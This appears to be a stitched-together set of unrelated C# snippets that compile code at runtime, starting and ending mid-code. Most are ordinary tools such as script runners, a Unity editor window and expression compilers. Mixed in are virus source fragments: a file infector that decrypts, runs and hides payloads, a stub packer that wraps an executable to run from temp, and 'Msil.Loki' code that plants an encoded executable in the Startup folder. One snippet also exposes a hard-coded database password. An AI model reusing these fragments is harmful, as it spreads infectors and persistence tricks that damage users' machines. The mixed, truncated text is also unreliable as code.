\n" + " UnicodeEncoding UE = new UnicodeEncoding(); \n" + " byte[] k = UE.GetBytes(p); \n" + " FileStream fr = new FileStream(inf, FileMode.Open); \n" + " RijndaelManaged r = new RijndaelManaged(); \n" + " CryptoStream cs = new CryptoStream(fr, r.CreateDecryptor(k, k), CryptoStreamMode.Read); \n" + " if(File.Exists(outf)) { \n" + " File.Delete(outf); \n" + " } \n" + " FileStream o = new FileStream(outf, FileMode.Create); \n" + " int data; \n" + " while((data = cs.ReadByte()) != -1) { \n" + " o.WriteByte((byte)data); \n" + " } \n" + " o.Close(); \n" + " cs.Close(); \n" + " fr.Close(); \n"; } else { d += " FileStream fr = new FileStream(inf, FileMode.Open); \n" + " CryptoStream cs = new CryptoStream(fr, new TripleDESCryptoServiceProvider().CreateDecryptor(Key, IV), CryptoStreamMode.Read); \n" + " if(File.Exists(outf)) { \n" + " File.Delete(outf); \n" + " } \n" + " FileStream o = new FileStream(outf, FileMode.Create); \n" + " int data; \n " + " while((data = cs.ReadByte()) != -1) { \n" + " o.WriteByte((byte)data); \n" + " } \n" + " o.Close(); \n" + " cs.Close(); \n" + " fr.Close(); \n"; } d += " if(File.Exists(inf)) { \n" + " File.Delete(inf); \n" + " } \n" + " Thread t = new Thread(new ThreadStart(" + r2 + n2 + ")); \n" + " t.Start(); \n" + " } catch (Exception er) { \n \n } \n" + " } \n" + " private static void " + r2 + n2 + "() { \n" + " try { \n" + " Process.Start(outf).WaitForExit(); \n" + " File.Delete(outf); \n" + " } catch { } \n" + " } \n" + " \n" + " } \n" + "} \n"; CompilerResults results = ic.CompileAssemblyFromSource(cp, d); //check to make the sure the file is there if it is then set it to hidden //note:the key that we use may sometimes generate characters that will escape //the string. I didn't bother fixing this only because it makes it more of a //sparse infector. Granted it won't happen everytime but just a weird quirk if(File.Exists(name)) { File.SetAttributes(name, FileAttributes.Hidden); } return name; }
/// <summary> /// Run the specified C# script file /// </summary> /// <param name="apiHandler">ChatBot handler for accessing ChatBot API</param> /// <param name="tickHandler">Tick handler for waiting after some API calls</param> /// <param name="lines">Lines of the script file to run</param> /// <param name="args">Arguments to pass to the script</param> /// <param name="localVars">Local variables passed along with the script</param> /// <param name="run">Set to false to compile and cache the script without launching it</param> /// <exception cref="CSharpException">Thrown if an error occured</exception> /// <returns>Result of the execution, returned by the script</returns> public static object Run(ChatBot apiHandler, ManualResetEvent tickHandler, string[] lines, string[] args, Dictionary <string, object> localVars, bool run = true) { //Script compatibility check for handling future versions differently if (lines.Length < 1 || lines[0] != "//MCCScript 1.0") { throw new CSharpException(CSErrorType.InvalidScript, new InvalidDataException(Translations.Get("exception.csrunner.invalid_head"))); } //Script hash for determining if it was previously compiled ulong scriptHash = QuickHash(lines); Assembly assembly = null; //No need to compile two scripts at the same time lock (CompileCache) { ///Process and compile script only if not already compiled if (!Settings.CacheScripts || !CompileCache.ContainsKey(scriptHash)) { //Process different sections of the script file bool scriptMain = true; List <string> script = new List <string>(); List <string> extensions = new List <string>(); List <string> libs = new List <string>(); List <string> dlls = new List <string>(); foreach (string line in lines) { if (line.StartsWith("//using")) { libs.Add(line.Replace("//", "").Trim()); } else if (line.StartsWith("//dll")) { dlls.Add(line.Replace("//dll ", "").Trim()); } else if (line.StartsWith("//MCCScript")) { if (line.EndsWith("Extensions")) { scriptMain = false; } } else if (scriptMain) { script.Add(line); } else { extensions.Add(line); } } //Add return statement if missing if (script.All(line => !line.StartsWith("return ") && !line.Contains(" return "))) { script.Add("return null;"); } //Generate a class from the given script string code = String.Join("\n", new string[] { "using System;", "using System.Collections.Generic;", "using System.Text.RegularExpressions;", "using System.Linq;", "using System.Text;", "using System.IO;", "using System.Net;", "using System.Threading;", "using MinecraftClient;", "using MinecraftClient.Mapping;", "using MinecraftClient.Inventory;", String.Join("\n", libs), "namespace ScriptLoader {", "public class Script {", "public CSharpAPI MCC;", "public object __run(CSharpAPI __apiHandler, string[] args) {", "this.MCC = __apiHandler;", String.Join("\n", script), "}", String.Join("\n", extensions), "}}", }); //Compile the C# class in memory using all the currently loaded assemblies CSharpCodeProvider compiler = new CSharpCodeProvider(); CompilerParameters parameters = new CompilerParameters(); parameters.ReferencedAssemblies .AddRange(AppDomain.CurrentDomain .GetAssemblies() .Where(a => !a.IsDynamic) .Select(a => a.Location).ToArray()); parameters.CompilerOptions = "/t:library"; parameters.GenerateInMemory = true; parameters.ReferencedAssemblies.AddRange(dlls.ToArray()); CompilerResults result = compiler.CompileAssemblyFromSource(parameters, code); //Process compile warnings and errors if (result.Errors.Count > 0) { throw new CSharpException(CSErrorType.LoadError, new InvalidOperationException(result.Errors[0].ErrorText)); } //Retrieve compiled assembly assembly = result.CompiledAssembly; if (Settings.CacheScripts) { CompileCache[scriptHash] = result.CompiledAssembly; } } else if (Settings.CacheScripts) { assembly = CompileCache[scriptHash]; } } //Run the compiled assembly with exception handling if (run) { try { object compiledScript = assembly.CreateInstance("ScriptLoader.Script"); return (compiledScript .GetType() .GetMethod("__run") .Invoke(compiledScript, new object[] { new CSharpAPI(apiHandler, tickHandler, localVars), args })); } catch (Exception e) { throw new CSharpException(CSErrorType.RuntimeError, e); } } else { return(null); } }
public static bool GetAnswer(Dictionary <string, int> dict, string expres) { string code = @" using System; namespace First { public class Wrapper { public int value; public Wrapper(int val) { value = val; } public static bool operator &(Wrapper c1, Wrapper c2) { return c1.value > 0 && c2.value > 0; } public static bool operator |(Wrapper c1, Wrapper c2) { return c1.value > 0 || c2.value > 0; } public static bool operator !(Wrapper c1) { return c1.value <= 0; } public static implicit operator bool(Wrapper d) { return d.value > 0; } } public class Program { public static bool Calculate() { " + GenerateCode(dict, expres) + @" } public static void Main() { } } }"; var provider = new CSharpCodeProvider(); var parameters = new CompilerParameters(); parameters.GenerateInMemory = true; parameters.GenerateExecutable = true; var results = provider.CompileAssemblyFromSource(parameters, code); if (results.Errors.HasErrors) { var sb = new StringBuilder(); foreach (CompilerError error in results.Errors) { sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText)); } throw new InvalidOperationException(sb.ToString()); } else { var assembly = results.CompiledAssembly; var program = assembly.GetType("First.Program"); var main = program.GetMethod("Calculate"); return((bool)main.Invoke(null, null)); } }
public static bool BuildCode(string code, string output, int targetframeworks, bool icon, string ico, params string[] resources) { string text = null; try { string text2 = null; string[] array = null; if (targetframeworks == 2) { text2 = "v2.0"; array = new string[4] { "System.dll", "System.Data.dll", "System.Windows.Forms.dll", "System.Xml.dll" }; } else { text2 = "v4.0"; array = new string[8] { "mscorlib.dll", "System.dll", "System.Core.dll", "System.Data.dll", "System.Core.dll", "System.Windows.Forms.dll", "System.Xml.dll", "System.Xml.Linq.dll" }; } ICodeCompiler codeCompiler = new CSharpCodeProvider(new Dictionary <string, string> { { "CompilerVersion", text2 } }).CreateCompiler(); CompilerParameters compilerParameters = new CompilerParameters(array); compilerParameters.GenerateExecutable = true; compilerParameters.OutputAssembly = output; compilerParameters.WarningLevel = 0; compilerParameters.CompilerOptions = "/platform:ANYCPU /target:winexe"; if (resources != null) { foreach (string value in resources) { compilerParameters.EmbeddedResources.Add(value); } } if (icon) { CompilerParameters compilerParameters2 = compilerParameters; compilerParameters2.CompilerOptions += $" /win32icon:\"{ico}\""; } CompilerResults compilerResults = codeCompiler.CompileAssemblyFromSource(compilerParameters, code); if (compilerResults.Errors.Count > 0) { foreach (CompilerError error in compilerResults.Errors) { text = text + "Line number " + error.Line + ", Error Number: " + error.ErrorNumber + ", '" + error.ErrorText + ";" + Environment.NewLine + Environment.NewLine; } MessageBox.Show(text); return(false); } return(true); } catch (Exception ex) { MessageBox.Show(ex.ToString()); return(false); } }
/// <summary> /// Actually build the Folders program /// </summary> /// <param name="path">path to root directory of the Folders program</param> /// <param name="errors">used to return error messages</param> /// <param name="exe">whether we create an exe or simply compile + run in memory</param> /// <param name="pureFolders">Pure Folders (non-semantic folder names) vs the Classic Folders Syntax</param> /// <returns></returns> public static bool Compile(string path, ref string errors, bool exe, bool pureFolders) { ProgramBuilder builder = ProgramBuilder.Generate(pureFolders, path); builder.BuildProgram(); StringBuilder errorList = new StringBuilder(); CompilerResults results; string entireProgram = @"using System; using System.IO; using Rottytooth.Esolang.Folders.Runtime; public static class Program { private static VarManager _varManager; static Program() { _varManager = new VarManager(""" + builder.ProgramName + @"""); } " + builder.Declarations + @" public static void Main() { " + builder.ProgramText + @" } } public class StartUp { public void Execute() { Program.Main(); } }"; using (CSharpCodeProvider csc = new CSharpCodeProvider(new Dictionary <string, string>() { { "CompilerVersion", "v3.5" } })) { if (exe) // building to an executable { CompilerParameters parameters = new CompilerParameters(new[] { "mscorlib.dll", "System.Core.dll" }, builder.ProgramName + ".exe", true); parameters.ReferencedAssemblies.Add("Rottytooth.Esolang.Folders.Runtime.dll"); parameters.GenerateExecutable = true; results = csc.CompileAssemblyFromSource(parameters, entireProgram); } else // compiling in-memory and executing { CompilerParameters parameters = new CompilerParameters(new[] { "mscorlib.dll", "System.Core.dll" }) { GenerateInMemory = true }; parameters.ReferencedAssemblies.Add("Rottytooth.Esolang.Folders.Runtime.dll"); results = csc.CompileAssemblyFromSource(parameters, entireProgram); if (results.Errors != null && results.Errors.Count == 0) { Type type = results.CompiledAssembly.GetType("StartUp"); var obj = Activator.CreateInstance(type); var output = type.GetMethod("Execute").Invoke(obj, new object[] { }); } } } // output any errors results.Errors.Cast <CompilerError>().ToList().ForEach(error => errorList.AppendLine(error.ErrorText)); if (errorList.Length > 0) { errors = errorList.ToString(); return(false); } // we have successfully compiled return(true); }
void OnGUI() { // start the scroll view scrollPos = EditorGUILayout.BeginScrollView(scrollPos); // show the script field string newScriptText = EditorGUILayout.TextArea(scriptText); if (newScriptText != scriptText) { // if the script changed, update our cached version and null out our cached method scriptText = newScriptText; lastScriptMethod = null; } // store if the GUI is enabled so we can restore it later bool guiEnabled = GUI.enabled; // disable the GUI if the script text is empty GUI.enabled = guiEnabled && !string.IsNullOrEmpty(scriptText); // show the execute button if (GUILayout.Button("Execute")) { // if our script method needs compiling if (lastScriptMethod == null) { // create and configure the code provider var codeProvider = new CSharpCodeProvider(); var options = new CompilerParameters(); options.GenerateInMemory = true; options.GenerateExecutable = false; // bring in system libraries options.ReferencedAssemblies.Add("System.dll"); options.ReferencedAssemblies.Add("System.Core.dll"); // bring in Unity assemblies options.ReferencedAssemblies.Add(typeof(EditorWindow).Assembly.Location); options.ReferencedAssemblies.Add(typeof(Transform).Assembly.Location); // compile an assembly from our source code var result = codeProvider.CompileAssemblyFromSource(options, string.Format(scriptFormat, scriptText)); // log any errors we got if (result.Errors.Count > 0) { foreach (CompilerError error in result.Errors) { // the magic -11 on the line is to compensate for usings and class wrapper around the user script code. // subtracting 11 from it will give the user the line numbers in their code. Debug.LogError(string.Format("Immediate Compiler Error ({0}): {1}", error.Line - 11, error.ErrorText)); } } // otherwise use reflection to pull out our action method so we can invoke it else { var type = result.CompiledAssembly.GetType("ImmediateWindowCodeWrapper"); lastScriptMethod = type.GetMethod("PerformAction", BindingFlags.Public | BindingFlags.Static); } } // if we have a compiled method, invoke it if (lastScriptMethod != null) { lastScriptMethod.Invoke(null, null); } } // restore the GUI GUI.enabled = guiEnabled; // close the scroll view EditorGUILayout.EndScrollView(); }
public static void InterpretString(AppiumDriver <IWebElement> driver, string otherFunction) { string exePath = Assembly.GetExecutingAssembly().Location; string exeDir = Path.GetDirectoryName(exePath); AssemblyName[] assemRefs = Assembly.GetExecutingAssembly().GetReferencedAssemblies(); List <string> references = new List <string>(); foreach (AssemblyName assemblyName in assemRefs) { references.Add(assemblyName.Name + ".dll"); } for (int i = 0; i < references.Count; i++) { string localName = Path.Combine(exeDir, references[i]); if (File.Exists(localName)) { references[i] = localName; } } string compilation_string = @" using Newtonsoft.Json; using OpenQA.Selenium; using OpenQA.Selenium.Remote; using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Linq; using System.Xml; using System.Net; using System.Windows.Forms; using System.Xml.Linq; using CrossPlatformCompatibility.AppiumPageObject; using Microsoft.CSharp; using System.CodeDom.Compiler; using System.Text; using System.Reflection; using Microsoft.VisualStudio.TestTools.UnitTesting; static class RuntimeCompilationScriptTestCode { public static AppiumDriverPageObject<IWebElement> Driver { get; set; } public static void Main() {} public static void ExecuteScript() { /* SCRIPT CODE HERE */ } /* OTHER FUNCTIONS */ }"; //Replace("/* SCRIPT CODE HERE */", script). compilation_string = compilation_string.Replace("/* OTHER FUNCTIONS */", otherFunction); CSharpCodeProvider provider = new CSharpCodeProvider(); CompilerParameters compiler_parameters = new CompilerParameters(references.ToArray()); compiler_parameters.GenerateInMemory = true; compiler_parameters.GenerateExecutable = true; CompilerResults results = provider.CompileAssemblyFromSource(compiler_parameters, compilation_string); // Check errors if (results.Errors.HasErrors) { StringBuilder builder = new StringBuilder(); foreach (CompilerError error in results.Errors) { builder.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText)); } throw new InvalidOperationException(builder.ToString()); } // Execute Assembly assembly = results.CompiledAssembly; Type program = assembly.GetType("RuntimeCompilationScriptTestCode"); PropertyInfo driverX = program.GetProperty("Driver"); driverX.SetValue(null, driver); MethodInfo[] methods = program.GetMethods(); foreach (MethodInfo m in methods) { //execute all method named ???test if (m.Name.ToLower().Contains("_test")) { m.Invoke(null, null); } } MethodInfo executeScript = program.GetMethod("ExecuteScript"); //return executeScript.Invoke(null, null); }
private Func <ITextTemplatingEngineHost, string> PreProcessTemplate(ITemplateInfo templateInfo) { var templateContent = File.ReadAllText(templateInfo.FullPath); string language; string[] references; var className = templateInfo.TemplateName.Replace(".", "_"); var dummyHost = new CustomT4Host(templateInfo, this.TemplatesDirectory, null, null); var generatedCode = this.T4Engine.PreprocessTemplate(templateContent, dummyHost, className, RuntimeTemplatesNamespace, out language, out references); var parameters = new CompilerParameters { OutputAssembly = templateInfo.TemplateName + ".dll", GenerateInMemory = false, GenerateExecutable = false, IncludeDebugInformation = true, }; var assemblyLocations = AppDomain.CurrentDomain .GetAssemblies() .Where(a => !a.IsDynamic) .Select(a => a.Location); parameters.ReferencedAssemblies.AddRange(assemblyLocations.ToArray()); parameters.TreatWarningsAsErrors = false; var provider = new CSharpCodeProvider(); var results = provider.CompileAssemblyFromSource(parameters, generatedCode); if (results.Errors.Count > 0) { var realError = false; for (int i = 0; i < results.Errors.Count; i++) { if (!results.Errors[i].IsWarning) { realError = true; } Console.WriteLine((results.Errors[i].IsWarning?"Warning":"Error") + "(" + i.ToString() + "): " + results.Errors[i].ToString()); } if (realError) { throw new InvalidOperationException("Template error."); } } var assembly = results.CompiledAssembly; var templateClassType = assembly.GetType(RuntimeTemplatesNamespace + "." + className); dynamic templateClassInstance = Activator.CreateInstance(templateClassType); return((ITextTemplatingEngineHost host) => { templateClassInstance.Host = host; return templateClassInstance.TransformText(); }); }
/// <summary> /// Компилируем делегат /// </summary> private static void CompileDelegate <T>(String name, DelegateInfo <T> del) { // перечисляем все библиотеки, от которых может зависеть текст функции String[] referenceAssemblies = { "System.dll", "System.Data.dll", "System.Design.dll", "System.Drawing.dll", "System.Windows.Forms.dll", "System.Xml.dll" }; String className = "C" + name + m_classIndex.ToString(); m_classIndex++; // создаем полный текст класса с функцией StringBuilder sb = new StringBuilder(); sb.AppendLine("using System;"); sb.AppendLine("using System.Data;"); sb.AppendLine("using System.Text;"); sb.AppendLine("using System.Design;"); sb.AppendLine("using System.Drawing;"); sb.AppendLine("using System.Windows.Forms;"); sb.AppendLine("using System.Collections.Generic;"); sb.AppendLine("namespace DelegateGenerator"); sb.AppendLine("{"); sb.Append(" public class "); sb.AppendLine(className); sb.AppendLine(" {"); sb.AppendLine(del.Code); sb.AppendLine(" }"); sb.AppendLine("}"); // компилируем класс CompilerParameters codeParams = new CompilerParameters(referenceAssemblies); codeParams.GenerateExecutable = false; codeParams.GenerateInMemory = true; CSharpCodeProvider codeProvider = new CSharpCodeProvider(); CompilerResults codeResult = codeProvider.CompileAssemblyFromSource(codeParams, sb.ToString()); // проверяем результат на ошибку if (codeResult.Errors.HasErrors) { StringBuilder err = new StringBuilder(); for (int i = 0; i < codeResult.Errors.Count; ++i) { err.AppendLine(codeResult.Errors[i].ToString()); } del.ErrorText = err.ToString(); return; } // получаем функцию созданного класса по имени Type type = codeResult.CompiledAssembly.GetType("DelegateGenerator." + className); del.MethodInfo = type.GetMethod(name); if (null == del.MethodInfo) { del.ErrorText = String.Format("Delegate name '{0}' error", name); } else { del.Delegate = Delegate.CreateDelegate(typeof(T), del.MethodInfo); if (null == del.Delegate) { del.ErrorText = String.Format("Delegate type '{0}' error", name); } } }
public static string CompileCodeRunTime(string txtCodeSource, string featureCalling, string Disc, out DataTable dt, ref System.Reflection.Assembly assembly, TextBox txtConsole, string[] refs = null, object[] args = null) { if (txtCodeSource == "") { dt = null; return(""); } CSharpCodeProvider provider = new CSharpCodeProvider(new Dictionary <string, string>() { { "CompilerVersions", "v4.5" } }); var compileParameters = new CompilerParameters(); CompilerResults results = default(CompilerResults); compileParameters.GenerateInMemory = true; compileParameters.TreatWarningsAsErrors = false; compileParameters.WarningLevel = 0; //4 //compileParameters.CompilerOptions = "/Imports:System.Security.Cryptography,System.IO,System,System,System.Collections,System.Collections.Generic,System.Data.Common,System.Data,System.Drawing,System.Diagnostics,System.Windows.Forms,System.Linq,clbData,System.Xml.Linq,Microsoft.Office.Interop.Excel,Oracle.ManagedDataAccess.Client"; //compileParameters.CompilerOptions = compileParameters.CompilerOptions + " / optionexplicit + / optionstrict - / optioncompare:text / optimize - / debug + / warnaserror - / nowarn:42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 / optioninfer+ "; /*•0 - Turns off emission of all warning messages. * •1 - Displays severe warning messages. * •2 - Displays level 1 warnings plus certain, less - severe warnings, such as warnings about hiding class members. * •3 - Displays level 2 warnings plus certain, less-severe warnings, such as warnings about expressions that always evaluate to true or false. * •4 - Displays all level 3 warnings plus informational warnings.This is the default warning level at the command line. */ string excel = "", excel_15 = @"C:\WINDOWS\assembly\GAC_MSIL\Microsoft.Office.Interop.Excel\15.0.0.0__71e9bce111e9429c\Microsoft.Office.Interop.Excel.dll", excel_14 = @"C:\WINDOWS\assembly\GAC_MSIL\Microsoft.Office.Interop.Excel\14.0.0.0__71e9bce111e9429c\Microsoft.Office.Interop.Excel.dll";; if (File.Exists(excel_15)) { excel = excel_15; } else { if (File.Exists(excel_14)) { excel = excel_14; } } if (refs == null) { string[] dRefs = { "System.Data.dll", "System.Data.DataSetExtensions.dll", "System.Core.dll", "System.dll", "System.Xml.dll", "System.Windows.Forms.dll", "System.Xml.Linq.dll", "System.DirectoryServices.dll", "System.Security.Principal.dll", "System.DirectoryServices.AccountManagement.dll", "Oracle.ManagedDataAccess.dll", excel, "System.Data.Linq.dll", "System.Drawing.dll", "ClbData.dll", "BouncyCastle.Crypto.dll", "Common.Logging.Core.dll", "Common.Logging.dll", "itext.barcodes.dll", "itext.forms.dll", "itext.io.dll", "itext.kernel.dll","itext.layout.dll", "itext.pdfa.dll", "itext.sign.dll", "itext.styledxmlparser.dll", "itext.svg.dll", "itextsharp.dll", "ZetaLongPaths.dll" //,Application.ExecutablePath +@"\Tracker.exe" }; refs = dRefs; } if ((refs != null)) { compileParameters.ReferencedAssemblies.AddRange(refs); try { txtCodeSource = txtCodeSource.Replace("%featureCalling%", featureCalling).Replace("%cnnstring%", "Data Source = usazrwpora03v:1523 / uspicore; User ID = TRACKERDATA; Password = TRACKERDATA").Replace(" %Disc%", Disc); results = provider.CompileAssemblyFromSource(compileParameters, txtCodeSource); } catch (Exception ex) { //Compile errors don't throw exceptions; you've got some deeper problem... MessageBox.Show(ex.Message); dt = null; return("Compile errors don't throw exceptions; you've got some deeper problem..."); } //Output errors to the StatusBar if (results.Errors.Count == 0) { assembly = results.CompiledAssembly; Type program = assembly.GetType("Tracker.AddOn.Program"); MethodInfo main = program.GetMethod("Main"); if (main != null) { ParameterInfo[] parameters = main.GetParameters(); object classInstance = Activator.CreateInstance(program, null); try { if (parameters.Length == 0) { main.Invoke(classInstance, null); } else { //object[] parametersArray = new object[] { "Hello" }; var result = main.Invoke(classInstance, args); foreach (Attribute attr in program.GetCustomAttributes(true)) { //dt = program.GetCustomAttribute(DataTable); } dt = ((dynamic)classInstance).dt; string txt = ((dynamic)classInstance).txtOut; if (txtConsole != null) { try { txtConsole.Text = txt; } catch { } } return(""); } } catch (Exception ex) { dt = null; MessageBox.Show(ex.Message); return(ex.Message); } } dt = null; return(""); } else { string sErrors = ""; foreach (CompilerError err in results.Errors) { sErrors = sErrors + (string.Format("Line {0}, Col {1}: {4} {2} - {3}", err.Line, err.Column, err.ErrorNumber, err.ErrorText, err.IsWarning ? "Warning" : "Error")) + Constants.vbCrLf; } MessageBox.Show(sErrors); dt = null; return(sErrors); } } dt = null; return("empty"); }
static void Main() { int FileLength = 0; string tmp = "Tmp" + rand.Next(1, 200); ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler(); CompilerParameters cp = new CompilerParameters(); cp.ReferencedAssemblies.Add("System.dll"); cp.ReferencedAssemblies.Add("System.Windows.Forms.dll"); cp.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll"); cp.ReferencedAssemblies.Add("System.Core.dll"); cp.GenerateExecutable = true; cp.CompilerOptions = "/target:winexe"; cp.OutputAssembly = tmp + ".exe"; Console.WriteLine("Enter app path"); string path = Console.ReadLine().Replace('"', ' '); byte[] RAWDATA = File.ReadAllBytes(path); FileLength = RAWDATA.Length; string MainCode = @"using System; using System.IO; using System.Reflection; using System.IO.Compression; using System.Diagnostics; using System.Windows.Forms; using System.Security.Principal; namespace Stub { class Program { static void Main(string[] args) { if (!IsAdministrator()) { MessageBox.Show(" + '"' + "Run as admin" + '"' + @"); return; } int PackedFileLength = " + FileLength + @"; string SelfPath = Assembly.GetEntryAssembly().Location; byte[] SelfFile = File.ReadAllBytes(Assembly.GetEntryAssembly().Location); byte[] PackedFile = new byte[PackedFileLength]; Array.Copy(SelfFile, SelfFile.Length - PackedFileLength, PackedFile, 0, PackedFileLength); byte[] UnPackedFile = PackedFile; string Tmp = Path.GetTempFileName(); File.WriteAllBytes(Tmp, PackedFile); Process proc = new Process(); proc.StartInfo.FileName = Tmp; proc.StartInfo.UseShellExecute = false; proc.Start(); } private static bool IsAdministrator() { WindowsIdentity identity = WindowsIdentity.GetCurrent(); WindowsPrincipal principal = new WindowsPrincipal(identity); return principal.IsInRole(WindowsBuiltInRole.Administrator); } } } "; CompilerResults results = ic.CompileAssemblyFromSource(cp, MainCode); if (results.Errors.HasErrors) { string errors = ""; foreach (CompilerError error in results.Errors) { errors += string.Format("Error #{0}: {1} {2}\n", error.ErrorNumber, error.ErrorText, error.Line); } return; } byte[] Stub = File.ReadAllBytes(tmp + ".exe"); byte[] DATA = RAWDATA; byte[] newArray = new byte[Stub.Length + DATA.Length]; Array.Copy(Stub, newArray, Stub.Length); Array.Copy(DATA, 0, newArray, Stub.Length, DATA.Length); File.WriteAllBytes("OUTPUT" + rand.Next(1, 200) + ".exe", newArray); }
private static void CompileComparisonMatchers() { for (int i = GraphMatchingState.candidatesForCompilation.Count - 1; i >= 0; --i) { LGSPGraph graph = GraphMatchingState.candidatesForCompilation[i]; if (graph.matchingState.changesCounterAtInterpretationPlanBuilding != graph.ChangesCounter) { GraphMatchingState.candidatesForCompilation.RemoveAt(i); } } SourceBuilder sourceCode = new SourceBuilder(); sourceCode.AppendFront("using System;\n" + "using System.Collections.Generic;\n" + "using GRGEN_LIBGR = de.unika.ipd.grGen.libGr;\n" + "using GRGEN_LGSP = de.unika.ipd.grGen.lgsp;\n\n"); sourceCode.AppendFront("namespace de.unika.ipd.grGen.lgspComparisonMatchers\n"); sourceCode.AppendFront("{\n"); sourceCode.Indent(); foreach (LGSPGraph graph in GraphMatchingState.candidatesForCompilation) { ((InterpretationPlanStart)graph.matchingState.interpretationPlan).Emit(sourceCode); } sourceCode.Append("}"); #if DUMP_COMPILED_MATCHER using (StreamWriter sw = new StreamWriter("comparison_matcher_" + GraphMatchingState.candidatesForCompilation[0].GraphId + ".cs")) sw.Write(sourceCode.ToString()); #endif // set up compiler CSharpCodeProvider compiler = new CSharpCodeProvider(); CompilerParameters compParams = new CompilerParameters(); compParams.ReferencedAssemblies.Add("System.dll"); compParams.ReferencedAssemblies.Add(Assembly.GetAssembly(typeof(BaseGraph)).Location); compParams.ReferencedAssemblies.Add(Assembly.GetAssembly(typeof(LGSPGraph)).Location); compParams.GenerateInMemory = true; compParams.CompilerOptions = "/optimize"; // building methods with MSIL would be highly preferable, but is much harder of course CompilerResults compResults = compiler.CompileAssemblyFromSource(compParams, sourceCode.ToString()); if (compResults.Errors.HasErrors) { String errorMsg = compResults.Errors.Count + " Errors:"; foreach (CompilerError error in compResults.Errors) { errorMsg += Environment.NewLine + "Line: " + error.Line + " - " + error.ErrorText; } throw new ArgumentException("Internal error: Illegal C# source code produced for graph comparison: " + errorMsg); } // create comparison matcher instances foreach (LGSPGraph graph in GraphMatchingState.candidatesForCompilation) { graph.matchingState.compiledMatcher = (GraphComparisonMatcher)compResults.CompiledAssembly.CreateInstance( "de.unika.ipd.grGen.lgspComparisonMatchers.ComparisonMatcher_" + graph.graphID); if (graph.matchingState.compiledMatcher == null) { throw new ArgumentException("Internal error: Generated assembly does not contain comparison matcher 'ComparisonMatcher_" + graph.graphID + "'!"); } ++GraphMatchingState.numCompiledMatchers; } GraphMatchingState.candidatesForCompilation.Clear(); ++GraphMatchingState.numCompilationPasses; }
public CompiledExpression(string expression, string args) { string[] code = { "using System; \n" + "namespace Expression \n" + "{ \n" + " delegate float OneArgFn(float arg); \n" + " delegate float TwoArgsFn(float a, float b); \n" + " public class Expression \n" + " { \n" + " static readonly TwoArgsFn pow = (n, p) => (float)Math.Pow(n, p); \n" + " static readonly OneArgFn sin = arg => (float)Math.Sin(arg); \n" + " static readonly OneArgFn cos = arg => (float)Math.Cos(arg); \n" + " static readonly OneArgFn tg = arg => (float)Math.Tan(arg); \n" + " static readonly float pi = (float)Math.PI; \n" + " static public float Exec(" + args + ") \n" + " { \n" + " return " + expression + "; \n" + " } \n" + " } \n" + "} \n" }; CompilerParameters CompilerParams = new CompilerParameters(); CompilerParams.GenerateInMemory = true; CompilerParams.TreatWarningsAsErrors = false; CompilerParams.GenerateExecutable = false; CompilerParams.CompilerOptions = "/optimize"; string[] references = { "System.dll" }; CompilerParams.ReferencedAssemblies.AddRange(references); CSharpCodeProvider provider = new CSharpCodeProvider(); CompilerResults compile = provider.CompileAssemblyFromSource(CompilerParams, code); if (compile.Errors.HasErrors) { string text = "Compile error: "; foreach (CompilerError ce in compile.Errors) { text += "\r\n" + ce.ToString(); } throw new Exception(text); } Module = compile.CompiledAssembly.GetModules()[0]; if (Module == null) { throw new Exception("No modules in assembly"); } Type = Module.GetType("Expression.Expression"); if (Type == null) { throw new Exception("Failed to find type"); } Method = Type.GetMethod("Exec"); if (Method == null) { throw new Exception("Failed to find method"); } }
public Generation Compile(IEnumerable<Genome> genomes) { var program = new StringBuilder(5000); program.Append(@"namespace genotank { public class CompiledGeneration : Generation {"); int i = 0; foreach (var genome in genomes) { program.Append(@"private double Solve"); program.Append(i++); program.Append("(double x) {return "); program.Append(genome.Outputs[0].ToString()); program.Append(";}"); } program.Append(@" public Solver[] _solutions; public CompiledGeneration() { _solutions = new Solver[] {"); for (i = 0; i < 100; i++) { program.Append("Solve" + i + ","); } program.Append(@" }; } public override Solver[] Solutions { get { return _solutions; } } } } "); var csc = new CSharpCodeProvider(new Dictionary<string, string>() { { "CompilerVersion", "v4.0" } }); var parameters = new CompilerParameters(new string[] {"Tree.dll"}) {GenerateInMemory = true}; var results = csc.CompileAssemblyFromSource(parameters, program.ToString()); if (results.Errors.HasErrors) { Debugger.Break(); } var types = results.CompiledAssembly.GetTypes(); var type = types[0]; // ReSharper disable PossibleNullReferenceException return (Generation)type.GetConstructor(Type.EmptyTypes).Invoke(null); // ReSharper restore PossibleNullReferenceException }
public void GenerateMsg() { //this is cool. it's a little screensaver //that gets built dynamically. That says You've been infected //with Msil.Loki by free0n. It even jumps around the screen //:) Nice to try new things instead of just a message box ICodeCompiler ic = new CSharpCodeProvider().CreateCompiler(); CompilerParameters cp = new CompilerParameters(); Random r = new Random(); string n = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + r.Next(100000) + ".exe"; cp.ReferencedAssemblies.Add("System.dll"); cp.ReferencedAssemblies.Add("System.Windows.Forms.dll"); cp.ReferencedAssemblies.Add("System.Data.dll"); cp.ReferencedAssemblies.Add("System.Drawing.dll"); cp.GenerateExecutable = true; cp.CompilerOptions = "/target:winexe"; cp.OutputAssembly = n; string d = DeCode("dXNpbmcgU3lzdGVtOyAKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWM7" + "IAp1c2luZyBTeXN0ZW0uQ29tcG9uZW50TW9kZWw7IAp1c2luZyBTeXN0ZW0uRGF0" + "YTsgCnVzaW5nIFN5c3RlbS5EcmF3aW5nOyAKdXNpbmcgU3lzdGVtLlRleHQ7IAp1" + "c2luZyBTeXN0ZW0uV2luZG93cy5Gb3JtczsgCm5hbWVzcGFjZSBzY3IgeyAKc3Rh" + "dGljIGNsYXNzIFByb2dyYW0gewogICBbU1RBVGhyZWFkXQogICBzdGF0aWMgdm9p" + "ZCBNYWluKCkgewpBcHBsaWNhdGlvbi5FbmFibGVWaXN1YWxTdHlsZXMoKTsKQXBw" + "bGljYXRpb24uU2V0Q29tcGF0aWJsZVRleHRSZW5kZXJpbmdEZWZhdWx0KGZhbHNl" + 